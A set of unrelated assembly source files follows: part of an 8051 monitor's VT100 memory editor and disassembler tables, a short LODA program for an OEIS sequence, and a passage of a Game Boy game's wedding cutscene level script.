.db 0x24, 0x4C, 0x4C, 0x4C ;
.db 0x4C, 0x00, 0x4C, 0x4F ;
.db 0x80, 0x80, 0x80, 0x80 ;
.db 0x5D, 0x0E, 0x4C, 0x2B ;
.db 0x57, 0x92, 0x4C, 0x4C ;
.db 0x12, 0x00, 0x1C, 0x1C ;
.db 0x15, 0x15, 0x15, 0x15 ;
.db 0x63, 0x0E, 0x19, 0x19 ;
.db 0x84, 0x88, 0x88, 0x88 ;
.db 0x60, 0x00, 0x78, 0x78 ;
.db 0x1F, 0x27, 0x8B, 0x8B ;
.db 0x53, 0x0E, 0x53, 0x53 ;
.db 0x19, 0x4C, 0x4C, 0x4C ;
.db 0x53, 0x00, 0x53, 0x53 ;
.db 0x1C, 0x4C, 0x4C, 0x4C ;
mnot2: .db 0x2B, 0x21, 0x06, 0x0A ;inc, dec, add, addc
.db 0x5D, 0x12, 0x8F, 0x4C ;orl, anl, xlr, mov
.db 0x4C, 0x80, 0x4C, 0x15 ;mov, subb, mov, cjne
.db 0x88, 0x27, 0x4C, 0x4C ;xch, djnz, mov, mov
;---------------------------------------------------------;
; ;
; External Memory Editor ;
; ;
;---------------------------------------------------------;
;register usage:
; R4, Flags:
; bit0: 0=display CODE memory, 1=display DATA memory
; bit1: 0=editing disabled, 1=editing enabled
; bit2: 0=editing in hex, 1=editing in ascii
; bit3: 0=normal, 1=in middle of hex entry (value in r5)
; R6/R7, current memory location
;
.org locat+0x800
.db 0xA5,0xE5,0xE0,0xA5 ;signiture
.db 254,vtedit_key,0,0 ;id (254=user installed command)
.db 0,0,0,0 ;prompt code vector
.dB 0,0,0,0 ;reserved
.db 0,0,0,0 ;reserved
.db 0,0,0,0 ;reserved
.db 0,0,0,0 ;user defined
.db 255,255,255,255 ;length and checksum (255=unused)
.db "Memory Editor (VT100)",0
.org locat+0x0840 ;executable code begins here
mov r4, #0
acall redraw
main:
mov a, r4
clr acc.3
mov r4, a
main2: lcall cin_filter
acall input_ck_2nd
cmd1: cjne a, #27, cmd2 ;quit
ajmp quit
cmd2: cjne a, #11, cmd3 ;up
ajmp cmd_up
cmd3: cjne a, #10, cmd4 ;down
ajmp cmd_down
cmd4: cjne a, #8, cmd5 ;left
ajmp cmd_left
cmd5: cjne a, #21, cmd6 ;right
ajmp cmd_right
cmd6: cjne a, #12, cmd7 ;redraw
acall redraw
ajmp main
cmd7: cjne a, #17, cmd8 ;quit
ajmp quit
cmd8: cjne a, #3, cmd9 ;code memory
mov a, r4
anl a, #11111110b
mov r4, a
acall cursor_home
mov dptr, #str_code
acall pstr_hh
acall redraw_data
ajmp main
cmd9: cjne a, #4, cmd10 ;data memory
mov a, r4
orl a, #00000001b
mov r4, a
acall cursor_home
mov dptr, #str_data
acall pstr_hh
acall redraw_data
ajmp main
cmd10: cjne a, #7, cmd11 ;goto memory loc
ajmp cmd_goto
cmd11: cjne a, #5, cmd12 ;toggle editing
ajmp cmd_edit
cmd12: cjne a, #6, cmd13 ;fill memory
ajmp cmd_fill
cmd13: cjne a, #1, cmd14 ;edit in ascii
mov a, r4
jnb acc.1, main
setb acc.2
mov r4, a
acall erase_commands
acall print_commands
acall redraw_cursor
ajmp main
cmd14: cjne a, #24, cmd15 ;edit in hex
mov a, r4
jnb acc.1, main
clr acc.2
mov r4, a
acall erase_commands
acall print_commands
acall redraw_cursor
ajmp main
cmd15: cjne a, #25, cmd16 ;page up
ajmp cmd_pgup
cmd16: cjne a, #26, cmd17 ;page down
ajmp cmd_pgdown
cmd17:
cmd_data: ;the input character wasn't any particular command, so
;maybe it's some input data being typed for edit mode
mov b, a ;keep a copy of user data in b
mov a, r4
jb acc.1, cmd_data2
cmd_abort:
ajmp main ;ignore if not in edit mode
cmd_data2:
jnb acc.2, input_hex
input_ascii:
mov a, b
acall ascii_only
cjne a, b, cmd_abort ;check that input is an ascii char
mov dph, r7
mov dpl, r6
lcall smart_wr ;write the char to memory
ajmp cmd_right
input_hex:
mov a, b
lcall upper
lcall asc2hex
jc cmd_abort ;ignore if not hex
mov r0, a ;keep hex value of input in r0
mov dph, r7 ;load dptr with address
mov dpl, r6
mov a, r4
jb acc.3, input_hex_2nd
input_hex_1st:
mov a, r0
mov r5, a
mov a, r4
setb acc.3 ;remember that we're waiting for 2nd char
mov r4, a
acall redraw_cursor
ajmp main2
input_hex_2nd:
mov a, r5 ;get data from memory
swap a ;shift nibbles
anl a, #11110000b ;just in case
add a, r0 ;add in this input to lower part
lcall smart_wr ;write back to memory
mov a, r4
clr acc.3
mov r4, a
ajmp cmd_right
input_ck_2nd:
;the main input routine will always call here when a new
;byte is entered... so we can do something special if we
;were waiting for the second character and it is not a
;legal hex character
push acc
mov a, r4
jb acc.1, inck2d
;if editing is disabled, don't do anything
clr acc.3
inck2b: mov r4, a
inck2c: pop acc
ret
inck2d: jnb acc.3, inck2b
;if we get here, we were actually waiting for the 2nd char
pop acc
push acc
lcall upper
lcall asc2hex
jnc inck2c ;proceed normally if it is valid
;if we get here, we did not get a hex legal char
pop acc
push acc
cjne a, #esc_char, inck2e
mov a, r4
clr acc.3
mov r4, a
acall redraw_cursor
pop acc
pop acc ;don't return and do the quit cmd
pop acc ;just quit this entry and wait for next cmd
ajmp main
inck2e: mov dph, r7 ;load dptr with address
mov dpl, r6
mov a, r5
lcall smart_wr ;write to memory
mov a, r4
clr acc.3
mov r4, a
acall redraw_cursor
sjmp inck2c
; R4, Flags:
; bit0: 0=display CODE memory, 1=display DATA memory
; bit1: 0=editing disabled, 1=editing enabled
; bit2: 0=editing in hex, 1=editing in ascii
; bit3: 0=normal, 1=in middle of hex entry (value in r5)
cmd_fill:
mov a, r4
anl a, #00000010b
jnz cmd_fill_ok
ajmp main ;don't allow if not in editing mode
cmd_fill_ok:
acall erase_commands
mov a, r4
push acc
mov dptr, #fill_prompt1
acall pcstr_hh
lcall ghex16
jc cmd_fill_abort
jb psw.5, cmd_fill_abort
mov r0, dpl
mov r1, dph
mov dptr, #fill_prompt2
acall pstr_hh
lcall ghex16
jc cmd_fill_abort
jb psw.5, cmd_fill_abort
mov r4, dpl
mov r5, dph
mov dptr, #fill_prompt3
acall pcstr_hh
lcall ghex
jc cmd_fill_abort
jb psw.5, cmd_fill_abort
mov r2, a
mov a, r4
mov r6, a
mov a, r5
mov r7, a
pop acc
mov r4, a
mov dpl, r0
mov dph, r1
;now r4 is restored to its normal value, dptr holds the
;first location to fill, and r6/r7 holds the last location to
;fill, and r2 has the fill value.
cmd_fill_loop:
mov a, r2
lcall smart_wr
mov a, r6
cjne a, dpl, cmd_fill_next
mov a, r7
cjne a, dph, cmd_fill_next
;when we get here, we're done!
acall erase_commands
acall print_commands
acall redraw_data
ajmp main
cmd_fill_next:
inc dptr
sjmp cmd_fill_loop
cmd_fill_abort:
pop acc
mov r4, a
acall erase_commands
acall print_commands
acall redraw_cursor
ajmp main
fill_prompt1:
.db "Fill",31,131,"; First: ",0
fill_prompt2:
.db " Last: ",0
fill_prompt3:
.db " ",168,": ",0
cmd_edit:
acall erase_commands
mov a, r4
xrl a, #00000010b
mov r4, a
acall print_commands
acall redraw_cursor
ajmp main
cmd_goto:
acall erase_commands
mov dptr, #goto_prompt
acall pcstr_hh
mov a, r4
push acc
lcall ghex16
pop acc
mov r4, a
jc cmdgt_abort
jb psw.5, cmdgt_abort
mov r6, dpl
mov r7, dph
acall cursor_home
mov a, #20
acall cursor_down
acall print_commands
acall redraw_data
ajmp main
cmdgt_abort:
acall cursor_home
mov a, #20
acall cursor_down
acall print_commands
acall redraw_cursor
ajmp main
goto_prompt:
.db 31,131,31,129,": ",0
cmd_up:
acall blank_it
mov a, r6
clr c
subb a, #16
mov r6, a
mov a, r7
subb a, #0
mov r7, a
mov a, r6
cpl a
anl a, #11110000b
jz cmd_up_scroll
mov a, #1
acall cursor_up
acall invert_it
ajmp main
cmd_up_scroll:
acall redraw_data
ajmp main
cmd_pgup:
dec r7
acall redraw_data
ajmp main
cmd_pgdown:
inc r7
acall redraw_data
ajmp main
cmd_down:
acall blank_it
mov a, r6
add a, #16
mov r6, a
mov a, r7
addc a, #0
mov r7, a
mov a, r6
anl a, #11110000b
jz cmd_down_scroll
mov a, #1
acall cursor_down
acall invert_it
ajmp main
cmd_down_scroll:
acall redraw_data
ajmp main
cmd_left:
acall blank_it
mov a, #3
acall cursor_left
mov a, r6
clr c
subb a, #1
mov r6, a
mov a, r7
subb a, #0
mov r7, a
mov a, r6
orl a, #11110000b
cpl a
jz cmdlf2
acall invert_it
ajmp main
cmdlf2:
mov a, r6
cpl a
anl a, #11110000b
jz cmd_left_scroll
mov a, #48
acall cursor_right
mov a, #1
acall cursor_up
acall invert_it
ajmp main
cmd_left_scroll:
acall redraw_data
ajmp main
cmd_right:
acall blank_it
mov a, #3
acall cursor_right
mov dpl, r6
mov dph, r7
inc dptr
mov r6, dpl
mov r7, dph
mov a, r6
anl a, #00001111b
jz cmdrt2
acall invert_it
ajmp main
cmdrt2:
mov a, r6
anl a, #11110000b
jz cmd_right_scroll
mov a, #48
acall cursor_left
mov a, #1
acall cursor_down
acall invert_it
ajmp main
cmd_right_scroll:
acall redraw_data
ajmp main
space: mov a, #' '
ajmp cout_hh
;register usage:
; R4, Flags:
; bit0: 0=display CODE memory, 1=display DATA memory
; bit1: 0=editing disabled, 1=editing enabled
; bit2: 0=editing in hex, 1=editing in ascii
; bit3: 0=normal, 1=in middle of hex entry (value in r5)
; R6/R7, current memory location
;
redraw:
mov dptr, #str_cl ;clear screen
acall pstr_hh
acall print_title_line
acall newline_hh
acall print_addr_line
acall newline_hh
acall print_dash_line
acall newline_hh
mov a, #16
acall cursor_down
acall print_dash_line
acall newline_hh
acall print_commands
redraw_data:
acall cursor_home
mov a, #2
acall cursor_down
;compute first byte address to display on the screen
mov dpl, #0
mov dph, r7
;now display the data
mov r0, #16
rd2: acall newline_hh
lcall phex16
mov a, #':'
acall cout_hh
mov r2, dpl
mov r3, dph
rd3: acall space
acall read_dptr
acall phex_hh
inc dptr
mov a, dpl
anl a, #00001111b
jnz rd3
mov dpl, r2
mov dph, r3
acall space
acall space
acall space
rd4: acall read_dptr
acall ascii_only
acall cout_hh
inc dptr
mov a, dpl
anl a, #00001111b
jnz rd4
djnz r0, rd2
redraw_cursor:
acall cursor_home
mov a, r6
swap a
anl a, #00001111b
add a, #3
acall cursor_down
;make the ascii character inverse
mov a, r6
anl a, #00001111b
add a, #56
acall cursor_right
acall inverse_on
acall read_r6r7
acall ascii_only
acall cout_hh
acall inverse_off
;now make the hex value inverse
mov a, r6
anl a, #00001111b
rl a
cpl a
add a, #52
acall cursor_left
acall inverse_on
acall read_r6r7
acall phex_hh
ajmp inverse_off
blank_it:
mov a, r6
anl a, #00001111b
rl a
cpl a
add a, #49
acall cursor_right
acall read_r6r7
acall ascii_only
acall cout_hh
mov a, r6
anl a, #00001111b
rl a
cpl a
add a, #52
acall cursor_left
acall read_r6r7
ajmp phex_hh
invert_it:
mov a, r6
anl a, #00001111b
rl a
cpl a
add a, #49
acall cursor_right
acall read_r6r7
acall ascii_only
acall inverse_on
acall cout_hh
acall inverse_off
mov a, r6
anl a, #00001111b
rl a
cpl a
add a, #52
acall cursor_left
acall read_r6r7
acall inverse_on
acall phex_hh
ajmp inverse_off
quit: mov a, r6
anl a, #11110000b
swap a
cpl a
add a, #19
acall cursor_down
ajmp newline_hh
ascii_only:
anl a, #01111111b ;avoid unprintable characters
cjne a, #127, aonly2
mov a, #' '
ret
aonly2: clr c
subb a, #32
jnc aonly3 ;avoid control characters
mov a, #(' ' - 32)
aonly3: add a, #32
ret
read_dptr:
mov a, r4
jb acc.0, rddptr2
clr a
movc a, @a+dptr
ret
rddptr2:movx a, @dptr
ret
read_r6r7:
push dph
push dpl
mov dph, r7
mov dpl, r6
mov a, r4
jb acc.3, rdr6r7d
jb acc.0, rdr6r7b
clr a
movc a, @a+dptr
sjmp rdr6r7c
rdr6r7b:movx a, @dptr
rdr6r7c:pop dpl
pop dph
ret
rdr6r7d:mov a, r5
sjmp rdr6r7c
.equ esc_char, 27
cursor_home:
acall term_esc
mov a, #'H'
ajmp cout_hh
cursor_down: ;acc is # of lines to move down
acall term_esc
acall pint_hh
mov a, #'B'
ajmp cout_hh
cursor_up: ;acc is # of lines to move up
acall term_esc
acall pint_hh
mov a, #'A'
ajmp cout_hh
cursor_left: ;acc is # of characters to move left
acall term_esc
acall pint_hh
mov a, #'D'
ajmp cout_hh
cursor_right: ;acc is # of characters to move right
acall term_esc
acall pint_hh
mov a, #'C'
ajmp cout_hh
inverse_on:
mov dptr, #str_so
ajmp pstr_hh
str_so: .db esc_char, "[0;7m", 0
inverse_off:
mov dptr, #str_se
ajmp pstr_hh
str_se: .db esc_char, "[0m", 0
term_esc:
push acc
mov a, #esc_char
acall cout_hh
mov a, #'['
acall cout_hh
pop acc
ret
print_addr_line:
mov dptr, #str_addr
acall pstr_hh
mov r0, #0
paddrl: acall space
mov a, #'+'
acall cout_hh
mov a, r0
lcall phex1
inc r0
cjne r0, #16, paddrl
mov dptr, #str_ascii_equiv
ajmp pstr_hh
print_dash_line:
mov r0, #72
pdashl: mov a, #'-'
acall cout_hh
djnz r0, pdashl
ret
print_title_line:
mov a, r4
jb acc.0, ptitle2
mov dptr, #str_code
sjmp ptitle3
ptitle2:mov dptr, #str_data
ptitle3:acall pstr_hh
mov r0, #8
ptitlel:acall space
djnz r0, ptitlel
mov dptr, #str_title
ajmp pcstr_hh
erase_commands:
acall cursor_home
mov a, #20
acall cursor_down
mov r2, #72
ercmd2: acall space
djnz r2, ercmd2
mov a, #72
ajmp cursor_left
; R4, Flags:
; bit0: 0=display CODE memory, 1=display DATA memory
; bit1: 0=editing disabled, 1=editing enabled
; bit2: 0=editing in hex, 1=editing in ascii
; bit3: 0=normal, 1=in middle of hex entry (value in r5)
print_commands:
mov a, r4
jnb acc.1, pcmd_no_edit
mov dptr, #str_cmd3
jb acc.2, pcmd_ascii
mov dptr, #str_cmd4
pcmd_ascii:
acall pstr_hh
mov dptr, #str_cmd5
acall pstr_hh
sjmp pcmd_finish
pcmd_no_edit:
mov dptr, #str_cmd2
acall pstr_hh
pcmd_finish:
mov dptr, #str_cmd1
ajmp pstr_hh
str_cmd1: .db " ^G=Goto ^C=Code ^D=Data ^L=Redraw ^Q=Quit", 0
str_cmd2: .db "^E-Edit",0
str_cmd3: .db "^A=", esc_char, "[0;7m", "ASCII", esc_char, "[0m", " ^X=Hex", 0
str_cmd4: .db "^A=ASCII ^X=", esc_char, "[0;7m", "Hex", esc_char, "[0m", 0
str_cmd5: .db " ^F=Fill",0
str_cl: .db esc_char, "[H", esc_char, "[2J", 0
str_addr: .db "ADDR:",0
str_ascii_equiv: .db " ASCII EQUIVILANT",0
str_title: .db "8051",31,154,31,131,31,216,"or,",31,248,31,254,", 1996",0
str_code: .db "CODE",0
str_data: .db "DATA",0
cout_hh:ljmp cout
phex_hh:ljmp phex
pstr_hh:ljmp pstr
newline_hh:ljmp newline
pcstr_hh:ljmp pcstr
pint_hh:ljmp pint
;---------------------------------------------------------;
; ;
; single step strings ;
; ;
;---------------------------------------------------------;
prompt4:.db "), or <ESC> to exit: ",0
prompt8:.db 13,31,136,128,131,129," (",0
abort: .db " Command Aborted.",13,10,0
sserr1: .db 13,161,197," connect INT1 (pin 13) low"
.db 128,186,207,204,13,0
sserr2: .db 148,"2",179,199,174,129," 0013",13,0
sserr3: .db 31,184,179,255,165," vector",174," ",0
ssmsg: .db 13,"Now",134,"ning",166,207,204," mode: "
.db "<RET>=",204,", ?= Help",13,13,0
sskip1: .db "Skipping Instruction-> ",0
ssdmps1:.db 13,10,"Loc: Int RAM Memory Contents",13,10,0
chaccs1:.db "New Acc Value: ",0
help5txt:.db 13
.db 31,207,31,204,31,158,":",13
.db "<RET> ",134,212,246,13
.db " <SP> ",134,212,246,13
.db " '?' ",255,142,215,13
.db " '.' ",255,196,253,"s",13
.db " 'R' ",255," special function",196,"s",13
.db " 'H' ",132,219,192,146,13
.db " 'S' ",252,212,246,13
.db " 'A' ",240,162," Acc value",13
.db " 'Q' ",200,207,204,13,14
squit: .db "Quit",13,10,0
ssnames:.db " ACC B C DPTR R0 R1 R2 R3 R4 R5 R6 R7 SP"
.db " Addr Instruction",13,10,0
;---------------------------------------------------------;
; ;
; disassembler data ;
; ;
;---------------------------------------------------------;
mnu_tbl:.db "ACAL",'L'+128
.db 0
.db "AD",'D'+128
.db 0
.db "ADD",'C'+128
.db "AJM",'P'+128
.db "AN",'L'+128
.db "CJN",'E'+128
.db "CL",'R'+128
.db "CP",'L'+128
.db "D",'A'+128
.db "DE",'C'+128
.db "DI",'V'+128
.db "DJN",'Z'+128
.db "IN",'C'+128
.db "J",'B'+128
.db "JB",'C'+128
.db "J",'C'+128
.db "JM",'P'+128
.db "JN",'B'+128
.db "JN",'C'+128
.db "JN",'Z'+128
.db "J",'Z'+128
.db "LCAL",'L'+128
.db "LJM",'P'+128
.db "MO",'V'+128
.db "MOV",'C'+128
.db "MOV",'X'+128
.db "MU",'L'+128
.db "NO",'P'+128
.db "OR",'L'+128
.db "PO",'P'+128
.db "PUS",'H'+128
.db "RE",'T'+128
.db "RET",'I'+128
.db "R",'L'+128
.db "RL",'C'+128
.db "R",'R'+128
.db "RR",'C'+128
.db "SET",'B'+128
.db "SJM",'P'+128
.db "SUB",'B'+128
.db "SWA",'P'+128
.db "XC",'H'+128
.db "XCH",'D'+128
.db "XR",'L'+128
.db "??",'?'+128
bitmnu: .db 'P','0'+128
.db "TCO",'N'+128
.db 'P','1'+128
.db "SCO",'N'+128
.db 'P','2'+128
.db 'I','E'+128
.db 'P','3'+128
.db 'I','P'+128
.db 'C','0'+128
.db "T2CO",'N'+128
.db "PS",'W'+128
.db 'D','8'+128
.db "AC",'C'+128
.db 'E'+'8'+128
.db 'B'+128
.db 'F'+'8'+128
|
||||
TheStack | b974474366eb9007922ca1beae4d6cc806adc002 | Assemblycode:Assembly | {"size": 653, "ext": "asm", "max_stars_repo_path": "oeis/229/A229339.asm", "max_stars_repo_name": "neoneye/loda-programs", "max_stars_repo_stars_event_min_datetime": "2021-08-22T19:44:55.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-20T16:47:57.000Z", "max_issues_repo_path": "oeis/229/A229339.asm", "max_issues_repo_name": "neoneye/loda-programs", "max_issues_repo_issues_event_min_datetime": "2021-08-29T13:15:54.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-09T19:52:31.000Z", "max_forks_repo_path": "oeis/229/A229339.asm", "max_forks_repo_name": "neoneye/loda-programs", "max_forks_repo_forks_event_min_datetime": "2021-08-22T20:56:47.000Z", "max_forks_repo_forks_event_max_datetime": "2021-09-29T06:26:12.000Z"} | {"max_stars_count": 11, "max_issues_count": 9, "max_forks_count": 3, "avg_line_length": 40.8125, "max_line_length": 451, "alphanum_fraction": 0.7212863706} | ; A229339: GCD of all sums of n consecutive Lucas numbers.
; Submitted by Jamie Morken(s3)
; 1,1,2,5,1,4,1,15,2,11,1,40,1,29,2,105,1,76,1,275,2,199,1,720,1,521,2,1885,1,1364,1,4935,2,3571,1,12920,1,9349,2,33825,1,24476,1,88555,2,64079,1,231840,1,167761,2,606965,1,439204,1,1589055,2,1149851,1,4160200,1,3010349,2,10891545,1,7881196,1,28514435,2,20633239,1,74651760,1,54018521,2,195440845,1,141422324,1,511670775,2,370248451,1,1339571480,1,969323029,2,3507043665,1,2537720636,1,9181559515,2,6643838879,1,24037634880,1,17393796001,2,62931345125
add $0,1
lpb $0
sub $0,1
add $1,1
sub $3,2
mov $2,$3
add $3,$1
mov $1,$2
lpe
mov $0,$3
gcd $0,$1
|
||||
TheStack | a5e1a47277b3c559df952c493de9c6776c0f487a | Assemblycode:Assembly | {"size": 20041, "ext": "asm", "max_stars_repo_path": "Source/Levels/L1103.asm", "max_stars_repo_name": "AbePralle/FGB", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Source/Levels/L1103.asm", "max_issues_repo_name": "AbePralle/FGB", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Source/Levels/L1103.asm", "max_forks_repo_name": "AbePralle/FGB", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 25.595146871, "max_line_length": 70, "alphanum_fraction": 0.5546130433} | ; L1103.asm wedding / gyro pops from tree
; Generated 08.03.2000 by mlevel
; Modified 08.03.2000 by Abe Pralle
INCLUDE "Source/Defs.inc"
INCLUDE "Source/Levels.inc"
;from L0505
VAR_HERO EQU 11
;---------------------------------------------------------------------
SECTION "Level1103Gfx1",ROMX
;---------------------------------------------------------------------
gyro_tree_bg:
INCBIN "Data/Cinema/Wedding/gyro_tree.bg"
gyro_costume_sp:
INCBIN "Data/Cinema/Wedding/gyro_costume.sp"
gang_watches_wedding_bg:
INCBIN "Data/Cinema/Wedding/gang_watches_wedding.bg"
;---------------------------------------------------------------------
SECTION "Level1103Gfx2",ROMX
;---------------------------------------------------------------------
preacher_bg:
INCBIN "Data/Cinema/Wedding/preacher.bg"
wedding_panoramic_bg:
INCBIN "Data/Cinema/Wedding/wedding_panoramic.bg"
flour_at_wedding_bg:
INCBIN "Data/Cinema/Wedding/flour_at_wedding.bg"
;---------------------------------------------------------------------
SECTION "Level1103Gfx3",ROMX
;---------------------------------------------------------------------
flower_at_wedding_bg:
INCBIN "Data/Cinema/Wedding/flower_at_wedding.bg"
gang_watches_front_bg::
INCBIN "Data/Cinema/Wedding/gang_watches_front.bg"
gyro_big_bg:
INCBIN "Data/Cinema/Wedding/gyro_big.bg"
;---------------------------------------------------------------------
SECTION "Level1103Dialog",ROMX
;---------------------------------------------------------------------
dialog:
preacher_blah_gtx:
INCBIN "Data/Dialog/Wedding/preacher_blah.gtx"
preacher_reasons_gtx:
INCBIN "Data/Dialog/Wedding/preacher_reasons.gtx"
hero_reasons_gtx:
INCBIN "Data/Dialog/Wedding/hero_reasons.gtx"
captain_thanks_gtx:
INCBIN "Data/Dialog/Wedding/captain_thanks.gtx"
captain_cake_gtx:
INCBIN "Data/Dialog/Wedding/captain_cake.gtx"
lady_byallmeans_gtx:
INCBIN "Data/Dialog/Wedding/lady_byallmeans.gtx"
lady_radio_gtx:
INCBIN "Data/Dialog/Wedding/lady_radio.gtx"
preacher_takebegonia_gtx:
INCBIN "Data/Dialog/Wedding/preacher_takebegonia.gtx"
gyro_bs_gtx:
INCBIN "Data/Dialog/Wedding/gyro_bs.gtx"
preacher_takesack_gtx:
INCBIN "Data/Dialog/Wedding/preacher_takesack.gtx"
gyro_ba_gtx:
INCBIN "Data/Dialog/Wedding/gyro_ba.gtx"
preacher_pronounce_gtx:
INCBIN "Data/Dialog/Wedding/preacher_pronounce.gtx"
gyro_haiku_gtx:
INCBIN "Data/Dialog/Wedding/gyro_haiku.gtx"
preacher_married_gtx:
INCBIN "Data/Dialog/Wedding/preacher_married.gtx"
gyro_notsofast_gtx:
INCBIN "Data/Dialog/Wedding/gyro_notsofast.gtx"
captain_why_gtx:
INCBIN "Data/Dialog/Wedding/captain_why.gtx"
gyro_reveals_gtx:
INCBIN "Data/Dialog/Wedding/gyro_reveals.gtx"
captain_thankyou_gtx:
INCBIN "Data/Dialog/Wedding/captain_thankyou.gtx"
gyro_notyummy_gtx:
INCBIN "Data/Dialog/Wedding/gyro_notyummy.gtx"
gyro_recall_gtx:
INCBIN "Data/Dialog/Wedding/gyro_recall.gtx"
gyro_surrender_gtx:
INCBIN "Data/Dialog/Wedding/gyro_surrender.gtx"
gyro_difficult_gtx:
INCBIN "Data/Dialog/Wedding/gyro_difficult.gtx"
captain_okay_gtx:
INCBIN "Data/Dialog/Wedding/captain_okay.gtx"
lady_dontbesilly_gtx:
INCBIN "Data/Dialog/Wedding/lady_dontbesilly.gtx"
;---------------------------------------------------------------------
SECTION "Level1103Section",ROMX
;---------------------------------------------------------------------
L1103_Contents::
DW L1103_Load
DW L1103_Init
DW L1103_Check
DW L1103_Map
;---------------------------------------------------------------------
; Load
;---------------------------------------------------------------------
L1103_Load:
DW ((L1103_LoadFinished - L1103_Load2)) ;size
L1103_Load2:
ld a,BANK(dialog)
ld [dialogBank],a
ld a,BANK(wedding_panoramic_bg)
ld hl,wedding_panoramic_bg
call LoadCinemaBG
ld a,EXIT_D
ld hl,$1103
call YankRemotePlayer
;set state of 0505 in case I was yanked from elsewhere
ld a,LEVELSTATEBANK
ldio [$ff70],a
ld a,2 ;STATE_AFTERWEDDING
ld [levelState+$55],a
xor a
ld [hero0_health],a
ld [hero1_health],a
ld a,15
call SetupFadeFromStandard
call WaitFade
ld de,((.endCinema-L1103_Load2)+levelCheckRAM)
call SetDialogSkip
ld de,((.preacher_blah-L1103_Load2)+levelCheckRAM)
call SetDialogForward
ld a,BANK(wedding_panoramic_bg)
ld a,80
call Delay
.preacher_blah
call ((.quickToBlack-L1103_Load2)+levelCheckRAM)
ld a,BANK(preacher_bg)
ld hl,preacher_bg
call LoadCinemaBG
call ((.quickFromBlack-L1103_Load2)+levelCheckRAM)
ld de,((.preacher_reasons-L1103_Load2)+levelCheckRAM)
call SetDialogForward
ld c,0
DIALOGBOTTOM preacher_blah_gtx
ld d,3
LONGCALLNOARGS AnimatePreacher
.preacher_reasons
ld c,0
DIALOGBOTTOM preacher_reasons_gtx
ld de,((.hero_reasons-L1103_Load2)+levelCheckRAM)
call SetDialogForward
ld d,4
LONGCALLNOARGS AnimatePreacher
.hero_reasons
call ((.quickToBlack-L1103_Load2)+levelCheckRAM)
call ClearDialog
ld de,((.captainThanks-L1103_Load2)+levelCheckRAM)
call SetDialogForward
ld a,[levelVars+VAR_HERO]
ld [dialogSpeakerIndex],a
cp HERO_BS_FLAG
jr z,.hero_bs
cp HERO_HAIKU_FLAG
jr z,.hero_haiku
.hero_ba
ld a,BANK(ba_bg)
ld hl,ba_bg
call LoadCinemaBG
call ((.quickFromBlack-L1103_Load2)+levelCheckRAM)
ld c,0
DIALOGBOTTOM hero_reasons_gtx
ld d,4
LONGCALLNOARGS AnimateBA
jr .captainThanks
.hero_bs
ld a,BANK(bs_bg)
ld hl,bs_bg
call LoadCinemaBG
call ((.quickFromBlack-L1103_Load2)+levelCheckRAM)
ld c,0
DIALOGBOTTOM hero_reasons_gtx
ld d,4
LONGCALLNOARGS AnimateBS
jr .captainThanks
.hero_haiku
ld a,BANK(haiku_bg)
ld hl,haiku_bg
call LoadCinemaBG
call ((.quickFromBlack-L1103_Load2)+levelCheckRAM)
ld c,0
DIALOGBOTTOM hero_reasons_gtx
LONGCALLNOARGS AnimateHaiku
.captainThanks
call ((.loadCaptain-L1103_Load2)+levelCheckRAM)
ld de,((.captainCake-L1103_Load2)+levelCheckRAM)
call SetDialogForward
ld c,0
DIALOGBOTTOM captain_thanks_gtx
ld d,4
LONGCALLNOARGS AnimateCaptainAtWedding
.captainCake
ld c,0
DIALOGBOTTOM captain_cake_gtx
ld de,((.lady_byallmeans-L1103_Load2)+levelCheckRAM)
call SetDialogForward
ld d,4
LONGCALLNOARGS AnimateCaptainAtWedding
.lady_byallmeans
call ((.quickToBlack-L1103_Load2)+levelCheckRAM)
call ClearDialog
ld a,BANK(flower_at_wedding_bg)
ld hl,flower_at_wedding_bg
call LoadCinemaBG
call ((.quickFromBlack-L1103_Load2)+levelCheckRAM)
ld c,0
DIALOGBOTTOM lady_byallmeans_gtx
ld de,((.lady_radio-L1103_Load2)+levelCheckRAM)
call SetDialogForward
ld d,4
LONGCALLNOARGS AnimateLadyAtWedding
.lady_radio
ld c,0
DIALOGBOTTOM lady_radio_gtx
ld de,((.minutesLater-L1103_Load2)+levelCheckRAM)
call SetDialogForward
ld d,4
LONGCALLNOARGS AnimateLadyAtWedding
.minutesLater
call ((.quickToBlack-L1103_Load2)+levelCheckRAM)
call ClearDialog
ld a,BANK(gang_watches_front_bg)
ld hl,gang_watches_front_bg
call LoadCinemaBG
ld de,((.preacherTakeBegonia-L1103_Load2)+levelCheckRAM)
call SetDialogForward
call ((.quickFromBlack-L1103_Load2)+levelCheckRAM)
ld a,90
call Delay
.preacherTakeBegonia
ld hl,$0704
call ((.loadGang-L1103_Load2)+levelCheckRAM)
call ((.quickFromBlack-L1103_Load2)+levelCheckRAM)
ld c,0
DIALOGBOTTOM preacher_takebegonia_gtx
ld de,((.gyro_bs-L1103_Load2)+levelCheckRAM)
call SetDialogForward
ld a,150
call Delay
.gyro_bs
call ((.gyroPopOut-L1103_Load2)+levelCheckRAM)
ld c,0
DIALOGBOTTOM gyro_bs_gtx
ld de,((.takeCaptain-L1103_Load2)+levelCheckRAM)
call SetDialogForward
ld c,11
call ((.animateGyroSprite-L1103_Load2)+levelCheckRAM)
.takeCaptain
ld hl,$1400
call ((.loadGang-L1103_Load2)+levelCheckRAM)
call ((.quickFromBlack-L1103_Load2)+levelCheckRAM)
ld c,0
DIALOGBOTTOM preacher_takesack_gtx
ld de,((.gyro_ba-L1103_Load2)+levelCheckRAM)
call SetDialogForward
ld a,150
call Delay
.gyro_ba
call ((.gyroPopOut-L1103_Load2)+levelCheckRAM)
ld c,0
DIALOGBOTTOM gyro_ba_gtx
ld de,((.pronounce-L1103_Load2)+levelCheckRAM)
call SetDialogForward
ld c,11
call ((.animateGyroSprite-L1103_Load2)+levelCheckRAM)
.pronounce
ld hl,$1406
call ((.loadGang-L1103_Load2)+levelCheckRAM)
call ((.quickFromBlack-L1103_Load2)+levelCheckRAM)
ld c,0
DIALOGBOTTOM preacher_pronounce_gtx
ld de,((.gyro_haiku-L1103_Load2)+levelCheckRAM)
call SetDialogForward
